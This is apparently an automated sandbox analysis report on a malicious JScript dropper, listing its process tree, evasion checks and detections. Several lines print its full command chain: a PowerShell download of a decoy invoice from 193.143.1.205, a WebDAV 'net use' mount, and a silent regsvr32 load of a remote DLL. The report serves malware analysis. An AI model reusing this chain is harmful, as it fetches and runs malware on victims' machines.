Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8622.js.csv");ITextStream.WriteLine(" entry:7833 f:ffyoosqzo");ITextStream.WriteLine(" exec:2 f:ffyoosqzo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4119			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5328			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4308	Thread sleep count: 4119 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4308	Thread sleep count: 5328 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6760	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6044	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7712	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2108620262.000001E4F50A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.2108620262.000001E4F510B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3358270044.0000027A8AA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3358296332.0000027A8AA40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3359517282.0000027A9005D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
